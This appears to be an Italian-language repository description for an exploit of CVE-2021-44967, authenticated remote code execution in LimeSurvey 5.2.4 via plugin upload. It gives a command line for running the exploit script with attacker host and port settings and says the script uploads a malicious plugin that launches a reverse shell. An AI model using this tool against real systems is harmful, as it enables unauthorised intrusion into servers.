monke443/cve-2021-44967Esecuzione di comandi remoti autenticata (privilegiata) in LimeSurvey Versione 5.2.4 tramite il caricamento e l'installazione di plugin consente a un utente remoto di caricare un file di codice PHP arbitrario.
Esecuzione remota di comandi autenticata (privilegiata) in LimeSurvey Versione 5.2.4 tramite upload e installazione di plugin permette a un utente remoto di caricare un file di codice PHP arbitrario.
python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>
Un utente superadmin può caricare moduli plugin tramite il pannello di amministrazione di LimeSurvey. Lo script crea localmente i file, li zippa e li carica. Successivamente, viene effettuata una chiamata per installare, attivare ed eseguire i moduli, eseguendo la reverse shell.
